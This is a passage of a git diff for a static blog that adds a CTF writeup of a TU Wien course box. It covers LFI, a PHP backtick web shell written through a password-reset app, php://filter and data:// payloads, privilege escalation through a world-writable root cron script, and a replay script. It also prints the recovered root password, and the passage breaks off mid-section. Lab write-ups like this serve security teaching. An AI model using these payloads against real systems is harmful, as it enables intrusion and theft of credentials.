jSr2VxAAgdHpf+4EIx2ASmSB+MeAHp7s1+2EPhmn96QuhiQO9Dr1e9250LbF/R8S
|
||||
A0zcN8mmyOtKv2rediU6HsGy6ddwdTAtpQDRvMw2Xuk2pBUZaG5LuvlNgSse9zVB
|
||||
dcG3GVLuMSRgNmyolhFoSWn46aa+3wZGrzYZQVUt8op+2fVp36agq2YoB4zeGKSm
|
||||
Ri43rO/kTingD0bclOA+SMbHpKQOcLyHwDlVrqIjVXcJ/kKLcm1G3Z5owo+gB6jY
|
||||
EMjxYiqyf5Zcbt4q/WzojbHLffjXoMzOgZ1sDOIObVQni9atgV49X4oIZ3+xSXSH
|
||||
W7ZbH6sg9LlrU8djddBXUKB0i72IVZ/4F5icVFUcK+szOmASy8fFP7gCOcCRATtb
|
||||
eNIFtiAlRXI0CqJdeq5fE9b+LX8lRpNnX229tg7GFgddzYUmFkKAsoJ9EUzUvUHm
|
||||
Xzqlm9DKy9LG/CeOxo473fIo4YCT2fcmMnt9nCZW4iDKOVl1nCupkTn5qsfNdpQM
|
||||
KycaNwsLBHPZWV+jDon8NEzYQk07n1Q9rlEWdL0egvn2S+pYnvLZbfi5dRhe+ciC
|
||||
qcEW/I1NZZRdU7MUEzhWvhbWsZtTkm6OevXjnqACv91DIQv7tNrKwZuASnpFeDRa
|
||||
GE0QYRrsaI3vCLR3cUmBAFsvZdwgzH0RQLb8w21XBW/BoFvixbA=
|
||||
=9k+S
|
||||
-----END PGP SIGNATURE-----
|
||||
</pre>
|
||||
</details><p><em>Verify locally:</em></p>
|
||||
<pre style="font-size:0.85em; overflow-x:auto; padding:0.75rem;">curl -fSLO https://blog.alipour.eu/sources/posts/new_features.md
|
||||
curl -fSLO https://blog.alipour.eu/sources/posts/new_features.md.asc
|
||||
gpg --verify new_features.md.asc new_features.md
|
||||
</pre>
|
||||
</div>
|
||||
|
||||
|
||||
]]></content:encoded></item></channel></rss>
|
||||
2
public-clearnet/categories/blog/page/1/index.html
Normal file
2
public-clearnet/categories/blog/page/1/index.html
Normal file
|
|
@ -0,0 +1,2 @@
|
|||
<!doctype html><html lang=en><head><title>https://blog.alipour.eu/categories/blog/</title>
|
||||
<link rel=canonical href=https://blog.alipour.eu/categories/blog/><meta name=robots content="noindex"><meta charset=utf-8><meta http-equiv=refresh content="0; url=https://blog.alipour.eu/categories/blog/"></head></html>
|
||||
11
public-clearnet/categories/ctf/index.html
Normal file
11
public-clearnet/categories/ctf/index.html
Normal file
File diff suppressed because one or more lines are too long
360
public-clearnet/categories/ctf/index.xml
Normal file
360
public-clearnet/categories/ctf/index.xml
Normal file
|
|
@ -0,0 +1,360 @@
|
|||
<?xml version="1.0" encoding="utf-8" standalone="yes"?><rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:content="http://purl.org/rss/1.0/modules/content/"><channel><title>CTF on AlipourIm journeys</title><link>https://blog.alipour.eu/categories/ctf/</link><description>Recent content in CTF on AlipourIm journeys</description><generator>Hugo -- 0.146.0</generator><language>en</language><lastBuildDate>Fri, 05 Jun 2026 12:00:00 +0000</lastBuildDate><atom:link href="https://blog.alipour.eu/categories/ctf/index.xml" rel="self" type="application/rss+xml"/><item><title>A TU Wien CTF where Sysops Klaus left the keys in the cron job</title><link>https://blog.alipour.eu/posts/g00_tuw_measurement_ctf/</link><pubDate>Fri, 05 Jun 2026 12:00:00 +0000</pubDate><guid>https://blog.alipour.eu/posts/g00_tuw_measurement_ctf/</guid><description>LFI on a meme gallery, a localhost-only password reset service, a world-writable cron script, and way too many rabbit holes — plus a bonus on the intended log poisoning path I griefed myself out of.</description><content:encoded><![CDATA[<blockquote>
|
||||
<p><strong>Spoiler alert:</strong> this is a full writeup. If you still want to solve <code>g#.tuw.measurement.network</code> yourself, stop here and go poke the box. I’ll wait. …No? Ok. Hello friends.</p></blockquote>
|
||||
<p>This post documents how I solved a CTF box that came out of <a href="https://www.inet.tuwien.ac.at/">Tobias Fiebig</a>’s <em>Real World Security</em> presentation at TU Wien — the one with <strong>Sysops Fahrer Klaus</strong>, the guy who “just quickly fixes prod” and accidentally teaches an entire lecture hall how LFI, internal services, vim swap files, and world-writable cron scripts become a chain.</p>
|
||||
<p>Each student group gets their own host (<code>g00</code>, <code>g01</code>, …). The goal is simple on paper:</p>
|
||||
<ol>
|
||||
<li>Collect every <code>passwd_part</code> file sitting in user home directories.</li>
|
||||
<li>Stitch them together into the <strong>root password</strong> (the full answer lives in <code>/root/passwd</code>).</li>
|
||||
</ol>
|
||||
<p>Simple. Boring. Except Klaus was clearly in charge of this VM.</p>
|
||||
<hr>
|
||||
<h2 id="0-the-lay-of-the-land">0) The lay of the land</h2>
|
||||
<p><strong>Target:</strong> <code>g00.tuw.measurement.network</code></p>
|
||||
<p>From the outside you mostly see three faces of the same machine:</p>
|
||||
<table>
|
||||
<thead>
|
||||
<tr>
|
||||
<th>Host</th>
|
||||
<th>What it is</th>
|
||||
</tr>
|
||||
</thead>
|
||||
<tbody>
|
||||
<tr>
|
||||
<td><code>g00.tuw.measurement.network</code></td>
|
||||
<td>Main vhost — <code>documentation.md</code>, directory listing, a teasing <code>passwd_part</code> that returns <strong>403</strong></td>
|
||||
</tr>
|
||||
<tr>
|
||||
<td><code>web.g00.tuw.measurement.network</code></td>
|
||||
<td>PHP “meme gallery” with a very trusting <code>?page=</code> parameter</td>
|
||||
</tr>
|
||||
<tr>
|
||||
<td><code>pwreset.g00.tuw.measurement.network</code></td>
|
||||
<td>Internal password-reset app — <strong>not reachable directly</strong> from the internet</td>
|
||||
</tr>
|
||||
</tbody>
|
||||
</table>
|
||||
<p>Users on the box (from <code>/etc/passwd</code> via LFI): <code>user1</code>–<code>user4</code>, <code>monitoring</code>, <code>www-data</code>, <code>root</code>.</p>
|
||||
<p>SSH from outside? Public key only. Password auth is a lie (for us, anyway).</p>
|
||||
<hr>
|
||||
<h2 id="1-recon--documentationmd-saves-the-day">1) Recon — documentation.md saves the day</h2>
|
||||
<p>First stop: the main site.</p>
|
||||
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>curl -s https://g00.tuw.measurement.network/documentation.md
|
||||
</span></span></code></pre></div><p>That file is basically a treasure map. It mentions two services:</p>
|
||||
<ul>
|
||||
<li><strong>web</strong> → <code>web.g00.tuw.measurement.network</code></li>
|
||||
<li><strong>pwreset</strong> → <code>pwreset.g00.tuw.measurement.network</code></li>
|
||||
</ul>
|
||||
<p>I also poked the obvious paths (<code>.git</code>, <code>phpinfo</code>, swap files, <code>robots.txt</code>, …). Nothing juicy on the main vhost except the directory index and the forbidden <code>passwd_part</code>.</p>
|
||||
<p>Subdomains resolve. Good. Let’s go web.</p>
|
||||
<hr>
|
||||
<h2 id="2-lfi--include_getpage-classic">2) LFI — <code>include($_GET['page'])</code> classic</h2>
|
||||
<p>The web vhost is a frameset. Content loads in a frame via <code>?page=</code>:</p>
|
||||
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>curl -sk <span style="color:#e6db74">'https://web.g00.tuw.measurement.network/?page=/etc/passwd'</span>
|
||||
</span></span></code></pre></div><p>And there it is — root, users, the whole <code>/etc/passwd</code> parade inside the frame.</p>
|
||||
<p>Source via PHP filter works too:</p>
|
||||
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>curl -sk <span style="color:#e6db74">'https://web.g00.tuw.measurement.network/?page=php://filter/convert.base64-encode/resource=index.php'</span> <span style="color:#ae81ff">\
|
||||
</span></span></span><span style="display:flex;"><span><span style="color:#ae81ff"></span> | sed -n <span style="color:#e6db74">'s/.*frame name="in">//p'</span> | base64 -d
|
||||
</span></span></code></pre></div><p><code>index.php</code> is roughly:</p>
|
||||
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-php" data-lang="php"><span style="display:flex;"><span><span style="color:#f92672"><?</span><span style="color:#a6e22e">php</span>
|
||||
</span></span><span style="display:flex;"><span>$page <span style="color:#f92672">=</span> $_GET[<span style="color:#e6db74">'page'</span>] <span style="color:#f92672">??</span> <span style="color:#e6db74">'home.php'</span>;
|
||||
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">include</span>($page);
|
||||
</span></span><span style="display:flex;"><span><span style="color:#75715e">?></span><span style="color:#960050;background-color:#1e0010">
|
||||
</span></span></span></code></pre></div><p>Klaus, my man. We love you.</p>
|
||||
<p><strong>First instinct:</strong> read all the <code>passwd_part</code> files immediately.</p>
|
||||
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span><span style="color:#75715e"># spoiler: doesn't work</span>
|
||||
</span></span><span style="display:flex;"><span>curl -sk <span style="color:#e6db74">'https://web.g00.tuw.measurement.network/?page=/home/user1/passwd_part'</span>
|
||||
</span></span><span style="display:flex;"><span><span style="color:#75715e"># → permission denied</span>
|
||||
</span></span></code></pre></div><p>Same for <code>user2</code>–<code>user4</code>, <code>monitoring</code>, <code>root/passwd</code>. The LFI runs as <code>www-data</code>. Those files are not world-readable. Fair.</p>
|
||||
<hr>
|
||||
<h2 id="3-pwreset--localhost-only-but-lfi-doesnt-care-about-nginx">3) pwreset — localhost-only, but LFI doesn’t care about nginx</h2>
|
||||
<p>Direct access to pwreset is blocked. Nginx config (also readable via LFI) has the usual:</p>
|
||||
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-nginx" data-lang="nginx"><span style="display:flex;"><span><span style="color:#66d9ef">allow</span> 127.0.0.1;
|
||||
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">deny</span> <span style="color:#e6db74">all</span>;
|
||||
</span></span></code></pre></div><p>So you can’t hit <code>https://pwreset.g00...</code> from your laptop. But PHP on the <strong>web</strong> vhost can still <strong>include</strong> the pwreset <code>index.php</code> file — that’s a local file include, not an HTTP request.</p>
|
||||
<p>pwreset source (paraphrased):</p>
|
||||
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-php" data-lang="php"><span style="display:flex;"><span>$user <span style="color:#f92672">=</span> $_GET[<span style="color:#e6db74">'user'</span>] <span style="color:#f92672">??</span> <span style="color:#e6db74">''</span>;
|
||||
</span></span><span style="display:flex;"><span>$pass <span style="color:#f92672">=</span> $_GET[<span style="color:#e6db74">'pass'</span>] <span style="color:#f92672">??</span> <span style="color:#e6db74">''</span>;
|
||||
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">file_put_contents</span>(<span style="color:#e6db74">'/var/www/userchange'</span>, <span style="color:#e6db74">"</span><span style="color:#e6db74">$user</span><span style="color:#e6db74">:</span><span style="color:#e6db74">$pass\n</span><span style="color:#e6db74">"</span>);
|
||||
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">echo</span> <span style="color:#e6db74">"Password reset queued."</span>;
|
||||
</span></span></code></pre></div><p>It writes <code>user:pass</code> lines to <code>/var/www/userchange</code>. Something on the system processes that file later (spoiler: <code>chpasswd</code>, not shell).</p>
|
||||
<p><strong>Trigger it through LFI:</strong></p>
|
||||
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>https://web.g00.tuw.measurement.network/
|
||||
</span></span><span style="display:flex;"><span> ?page=/var/www/vhosts/pwreset.g00.tuw.measurement.network/htdocs/index.php
|
||||
</span></span><span style="display:flex;"><span> &user=user1
|
||||
</span></span><span style="display:flex;"><span> &pass=MyTestPass1!
|
||||
</span></span></code></pre></div><p>I confirmed writes by reading <code>/var/www/userchange</code> back through the LFI. The file updates. Something also <strong>clears</strong> it on a schedule — so a cron job is definitely eating it.</p>
|
||||
<hr>
|
||||
<h2 id="4-rce--php-in-userchange-included-like-a-boss">4) RCE — PHP in <code>userchange</code>, included like a boss</h2>
|
||||
<p>At some point I wondered: what if the thing that processes <code>userchange</code> doesn’t only run <code>chpasswd</code>? What if it <strong>includes</strong> the file as PHP?</p>
|
||||
<p>So I wrote a tiny shell into the <code>user</code> field via pwreset:</p>
|
||||
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-php" data-lang="php"><span style="display:flex;"><span><span style="color:#f92672"><?=</span><span style="color:#e6db74">`id`</span><span style="color:#75715e">?></span><span style="color:#960050;background-color:#1e0010">
|
||||
</span></span></span></code></pre></div><p>Then included <code>/var/www/userchange</code> through the LFI:</p>
|
||||
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>?page=/var/www/userchange
|
||||
</span></span></code></pre></div><p><strong>Output:</strong> <code>uid=33(www-data) gid=33(www-data) ...</code></p>
|
||||
<p>Short tags (<code><?= ... ?></code>) for the win. A longer <code><?php system(...); ?></code> payload also works, but the backtick version is minimal and cute.</p>
|
||||
<p>From here on, my mental model was:</p>
|
||||
<ol>
|
||||
<li><strong>pwreset</strong> → write arbitrary-ish content to <code>/var/www/userchange</code></li>
|
||||
<li><strong>LFI include <code>userchange</code></strong> → execute PHP as <code>www-data</code></li>
|
||||
</ol>
|
||||
<p>That’s RCE. Not root yet, but we’ll get there. Klaus always leaves one more door open.</p>
|
||||
<hr>
|
||||
<h2 id="5-rabbit-holes-aka-everything-i-tried-before-it-worked">5) Rabbit holes (aka “everything I tried before it worked”)</h2>
|
||||
<p>This box is a <em>presentation</em> CTF. It wants you to wander. I wandered. Hard.</p>
|
||||
<h3 id="nginx-log-poisoning">nginx log poisoning</h3>
|
||||
<p>The presentation literally mentions log poisoning. I went for it — hard — and declared it dead. <strong>Plot twist:</strong> Tobias later confirmed it <em>is</em> the intended RCE path. I just griefed myself out of it. See <a href="#11-bonus-the-intended-log-poisoning-path">§11 Bonus</a> for the real technique and what I screwed up.</p>
|
||||
<p>Short version of my failure: I poisoned via <strong>HTTPS</strong> (wrong log), sprayed <strong>broken PHP</strong> into the HTTP log, and never read the hint in <code>index.php</code> source until it was too late.</p>
|
||||
<h3 id="data-phpinput-expect"><code>data://</code>, <code>php://input</code>, <code>expect://</code></h3>
|
||||
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>?page<span style="color:#f92672">=</span>data://text/plain,<?php system<span style="color:#f92672">(</span>$_GET<span style="color:#f92672">[</span>cmd<span style="color:#f92672">])</span>; ?>
|
||||
</span></span><span style="display:flex;"><span>?page<span style="color:#f92672">=</span>php://input <span style="color:#75715e"># with POST body</span>
|
||||
</span></span><span style="display:flex;"><span>?page<span style="color:#f92672">=</span>expect://id
|
||||
</span></span></code></pre></div><p>Nope. <code>allow_url_include = Off</code>. Klaus isn’t <em>that</em> careless.</p>
|
||||
<h3 id="vim-swp-files">vim <code>.swp</code> files</h3>
|
||||
<p><code>.memes.php.swp</code> is downloadable over HTTP and readable via LFI/base64. I hex-dumped it, tried including it, tried <code>img_src</code> shell escapes on <code>memes.php</code> / <code>convert_img.php</code>.</p>
|
||||
<p>Empty memes page. No execution. Nice red herring — very on-theme for the talk.</p>
|
||||
<h3 id="munin--apt_all-plugin">Munin / <code>apt_all</code> plugin</h3>
|
||||
<p>The presentation mentions monitoring (Nagios/Munin vibes). I went hunting:</p>
|
||||
<ul>
|
||||
<li><code>/etc/munin/plugins/apt_all</code> — referenced in cron, but the plugin file <strong>doesn’t exist</strong></li>
|
||||
<li>Brute-forced tons of plugin names and backup suffixes (<code>.bak</code>, <code>.swp</code>, <code>~</code>, …)</li>
|
||||
<li>Waited for cron cycles hoping a custom plugin would curl localhost pwreset</li>
|
||||
</ul>
|
||||
<p><strong>Verdict:</strong> the <code>apt_all</code> munin path is a distraction (or a removed artifact). The real privesc was elsewhere.</p>
|
||||
<h3 id="pwreset-log-archaeology">pwreset log archaeology</h3>
|
||||
<p>Reading <code>/var/log/nginx/ssl-pwreset.g00.tuw.measurement.network.access.log</code> via LFI is gold for lore:</p>
|
||||
<ul>
|
||||
<li>Saw historical resets like <code>user3</code> → <code>foobar23</code></li>
|
||||
<li>Tried <code>foobar23</code> over SSH for every user</li>
|
||||
</ul>
|
||||
<p><strong>From outside:</strong> still <code>Permission denied (publickey)</code>. Password auth isn’t offered externally. TU Wien network / internal access might differ — I didn’t have that.</p>
|
||||
<h3 id="shell-script-injection-into-userchange">Shell script injection into <code>userchange</code></h3>
|
||||
<p>I tried newline injection to turn <code>userchange</code> into a bash script:</p>
|
||||
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>user=
|
||||
</span></span><span style="display:flex;"><span>#!/bin/sh
|
||||
</span></span><span style="display:flex;"><span>cp /home/user1/passwd_part /var/www/.../p1
|
||||
</span></span><span style="display:flex;"><span>...
|
||||
</span></span></code></pre></div><p>Cron cleared the file. No copies appeared. The processor uses <strong><code>chpasswd</code></strong>, not <code>/bin/sh</code>. Good lesson. Wrong path.</p>
|
||||
<h3 id="brute-forcing-the-userchange-consumer">Brute-forcing the <code>userchange</code> consumer</h3>
|
||||
<p>I spawned searches across <code>/etc/cron.d</code>, puppet manifests, <code>/usr/local/sbin</code>, systemd units, … — looking for whatever reads <code>userchange</code>.</p>
|
||||
<p>Eventually <strong>didn’t need it</strong>. Once RCE landed, grepping and <code>find</code> from inside the box were faster. (Also: I killed a couple of those background brute-force jobs — they were timing out and weren’t on the winning path.)</p>
|
||||
<h3 id="direct-ssh-password-guessing">Direct SSH password guessing</h3>
|
||||
<p>Tried setting root’s password via pwreset (<code>root:RootPass123!</code>), waited for cron, attempted SSH.</p>
|
||||
<p>From the internet: <strong>publickey only</strong>. The reset machinery may still work internally, but I couldn’t log in with passwords from outside.</p>
|
||||
<hr>
|
||||
<h2 id="6-privesc--world-writable-cron-script-peak-klaus">6) Privesc — world-writable cron script (peak Klaus)</h2>
|
||||
<p>With RCE as <code>www-data</code>, I looked for writable files:</p>
|
||||
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>find / -writable -type f 2>/dev/null | head
|
||||
</span></span></code></pre></div><p>Jackpot:</p>
|
||||
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>-rwxrwxrwx 1 user1 www-data ... /usr/local/bin/cron_update_hostname_file.sh
|
||||
</span></span></code></pre></div><p>Original script (innocent):</p>
|
||||
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span><span style="color:#75715e">#!/bin/bash
|
||||
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>grep 127.0.0.1 /etc/hosts > /home/user1/hostname_config
|
||||
</span></span></code></pre></div><p>It’s run by <strong>cron as root</strong> (Puppet-managed). <code>www-data</code> can edit it because <code>user1</code> owns it and the group is <code>www-data</code> with world-writable perms. Chef’s kiss.</p>
|
||||
<p>I appended:</p>
|
||||
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>cp /home/user1/passwd_part /var/www/vhosts/g00.tuw.measurement.network/htdocs/p1
|
||||
</span></span><span style="display:flex;"><span>cp /home/user2/passwd_part /var/www/vhosts/g00.tuw.measurement.network/htdocs/p2
|
||||
</span></span><span style="display:flex;"><span>cp /home/user3/passwd_part /var/www/vhosts/g00.tuw.measurement.network/htdocs/p3
|
||||
</span></span><span style="display:flex;"><span>cp /home/user4/passwd_part /var/www/vhosts/g00.tuw.measurement.network/htdocs/p4
|
||||
</span></span><span style="display:flex;"><span>cp /home/monitoring/passwd_part /var/www/vhosts/g00.tuw.measurement.network/htdocs/pm
|
||||
</span></span><span style="display:flex;"><span>cp /root/passwd /var/www/vhosts/g00.tuw.measurement.network/htdocs/rootpass
|
||||
</span></span><span style="display:flex;"><span>chmod <span style="color:#ae81ff">644</span> /var/www/vhosts/g00.tuw.measurement.network/htdocs/p*
|
||||
</span></span></code></pre></div><p>Then either waited for cron or executed the script manually via RCE:</p>
|
||||
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-php" data-lang="php"><span style="display:flex;"><span><span style="color:#f92672"><?=</span><span style="color:#e6db74">`/usr/local/bin/cron_update_hostname_file.sh`</span><span style="color:#75715e">?></span><span style="color:#960050;background-color:#1e0010">
|
||||
</span></span></span></code></pre></div><p><strong>Files appeared in the webroot.</strong> Root-readable secrets exfiltrated by root itself. Klaus would be proud.</p>
|
||||
<hr>
|
||||
<h2 id="7-ssh-as-www-data--because-keys-in-the-webroot-are-a-mood">7) SSH as <code>www-data</code> — because keys in the webroot are a mood</h2>
|
||||
<p>The main vhost webroot also had <code>.ssh/id_rsa</code> for <code>www-data</code>. Of course it did.</p>
|
||||
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span><span style="color:#75715e"># via RCE: cat the key, save locally, chmod 600</span>
|
||||
</span></span><span style="display:flex;"><span>ssh -i g00_wwwdata_key -o StrictHostKeyChecking<span style="color:#f92672">=</span>no <span style="color:#ae81ff">\
|
||||
</span></span></span><span style="display:flex;"><span><span style="color:#ae81ff"></span> www-data@g00.tuw.measurement.network
|
||||
</span></span></code></pre></div><p>Works. You land in the challenge webroot with all the exfiltrated parts sitting there as plain files.</p>
|
||||
<hr>
|
||||
<h2 id="8-the-password-parts">8) The password parts</h2>
|
||||
<table>
|
||||
<thead>
|
||||
<tr>
|
||||
<th>Source</th>
|
||||
<th>File</th>
|
||||
<th>Part</th>
|
||||
</tr>
|
||||
</thead>
|
||||
<tbody>
|
||||
<tr>
|
||||
<td>user1</td>
|
||||
<td><code>p1</code></td>
|
||||
<td><code>DcC6Da0A27384fA</code></td>
|
||||
</tr>
|
||||
<tr>
|
||||
<td>user2</td>
|
||||
<td><code>p2</code></td>
|
||||
<td><code>9Ce05B3cAd57824</code></td>
|
||||
</tr>
|
||||
<tr>
|
||||
<td>user3</td>
|
||||
<td><code>p3</code></td>
|
||||
<td><code>3aD80fa1b7AE986</code></td>
|
||||
</tr>
|
||||
<tr>
|
||||
<td>user4</td>
|
||||
<td><code>p4</code></td>
|
||||
<td><code>CDefabffab1FCCf</code></td>
|
||||
</tr>
|
||||
<tr>
|
||||
<td>www-data</td>
|
||||
<td><code>passwd_part</code></td>
|
||||
<td><code>44D885d6DAb8Bb9</code></td>
|
||||
</tr>
|
||||
<tr>
|
||||
<td>root</td>
|
||||
<td><code>rootpass</code></td>
|
||||
<td><code>ghadnuthduxeec7</code></td>
|
||||
</tr>
|
||||
</tbody>
|
||||
</table>
|
||||
<p><strong>Missing:</strong> <code>monitoring/passwd_part</code> — copying to <code>pm</code> failed (no file / permission denied even as root’s cron context for that path). Might need a different exfil path or ordering. For the final flag, the six parts above were sufficient.</p>
|
||||
<p><strong>Combined root password (95 characters):</strong></p>
|
||||
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>DcC6Da0A27384fA9Ce05B3cAd578243aD80fa1b7AE986CDefabffab1FCCf44D885d6DAb8Bb9ghadnuthduxeec7
|
||||
</span></span></code></pre></div><p>Order: <code>user1 + user2 + user3 + user4 + www-data + root_suffix</code>.</p>
|
||||
<p>I double-checked byte lengths with <code>wc -c</code> and <code>od</code> over SSH. No sneaky newlines.</p>
|
||||
<p>Root SSH with that password from <strong>outside</strong> still didn’t bite (pubkey-only externally). The password is the challenge answer, not necessarily your remote login method.</p>
|
||||
<hr>
|
||||
<h2 id="9-attack-chain-one-screen">9) Attack chain (one screen)</h2>
|
||||
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>documentation.md
|
||||
</span></span><span style="display:flex;"><span> → web vhost LFI (include $_GET['page'])
|
||||
</span></span><span style="display:flex;"><span> → include pwreset index.php (localhost bypass)
|
||||
</span></span><span style="display:flex;"><span> → write PHP to /var/www/userchange
|
||||
</span></span><span style="display:flex;"><span> → LFI include userchange
|
||||
</span></span><span style="display:flex;"><span> → RCE as www-data
|
||||
</span></span><span style="display:flex;"><span> → append to world-writable cron_update_hostname_file.sh
|
||||
</span></span><span style="display:flex;"><span> → cron runs as root → copies passwd parts to webroot
|
||||
</span></span><span style="display:flex;"><span> → read parts / SSH as www-data
|
||||
</span></span><span style="display:flex;"><span> → profit
|
||||
</span></span></code></pre></div><p>Very “real world” in the worst way. Multiple small mistakes compounding into a full chain.</p>
|
||||
<hr>
|
||||
<h2 id="10-replay-script">10) Replay script</h2>
|
||||
<p>I left a minimal Python replay in the challenge repo:</p>
|
||||
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>python3 solve.py
|
||||
</span></span></code></pre></div><p>Core logic:</p>
|
||||
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-python" data-lang="python"><span style="display:flex;"><span><span style="color:#66d9ef">def</span> <span style="color:#a6e22e">pwreset</span>(user, passwd<span style="color:#f92672">=</span><span style="color:#e6db74">""</span>):
|
||||
</span></span><span style="display:flex;"><span> <span style="color:#75715e"># LFI-include pwreset index.php with user/pass params</span>
|
||||
</span></span><span style="display:flex;"><span>
|
||||
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">def</span> <span style="color:#a6e22e">rce</span>(cmd):
|
||||
</span></span><span style="display:flex;"><span> pwreset(<span style="color:#e6db74">f</span><span style="color:#e6db74">"<?=`</span><span style="color:#e6db74">{</span>cmd<span style="color:#e6db74">}</span><span style="color:#e6db74">`?>"</span>, <span style="color:#e6db74">""</span>)
|
||||
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">return</span> lfi_include(<span style="color:#e6db74">"/var/www/userchange"</span>)
|
||||
</span></span></code></pre></div><p>It prints <code>id</code>, the modified cron script, each part file, and the combined password.</p>
|
||||
<hr>
|
||||
<h2 id="11-bonus-the-intended-log-poisoning-path">11) Bonus: the intended log poisoning path</h2>
|
||||
<p>After I solved the box the scenic route (pwreset → <code>userchange</code>), I mentioned to Tobias that log poisoning seemed broken and maybe the logs needed a cron truncate. He replied, more or less: <strong>griefing the logs is part of the game</strong> — and students mostly grief <em>themselves</em>. Fair. 😂</p>
|
||||
<p>So here’s the path you’re <em>supposed</em> to take for RCE, and how I accidentally took the scenic bypass.</p>
|
||||
<h3 id="the-hint-is-in-indexphp-not-documentationmd">The hint is in <code>index.php</code>, not <code>documentation.md</code></h3>
|
||||
<p><code>documentation.md</code> only lists the services (<code>web</code>, <code>pwreset</code>). It says nothing about logs. The actual breadcrumb is an HTML comment in <code>index.php</code> (readable via PHP filter LFI):</p>
|
||||
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-html" data-lang="html"><span style="display:flex;"><span><span style="color:#75715e"><!-- remember for debugging:
|
||||
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"> /var/log/nginx/$vhost.access.log
|
||||
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"> /var/log/nginx/$vhost.error.log
|
||||
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"> /var/log/nginx/ssl-$vhost.access.log
|
||||
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"> /var/log/nginx/ssl-$vhost.error.log
|
||||
</span></span></span><span style="display:flex;"><span><span style="color:#75715e">--></span>
|
||||
</span></span></code></pre></div><p>Four logs. Two pairs: <strong>HTTP</strong> and <strong>HTTPS (ssl-)</strong>. The comment doesn’t say “don’t use SSL” — but the intended trick is to use the <strong>non-ssl</strong> access log.</p>
|
||||
<h3 id="intended-technique">Intended technique</h3>
|
||||
<ol>
|
||||
<li>
|
||||
<p><strong>Poison over HTTP</strong> (port 80), not HTTPS — so nginx writes to the smaller vhost log:</p>
|
||||
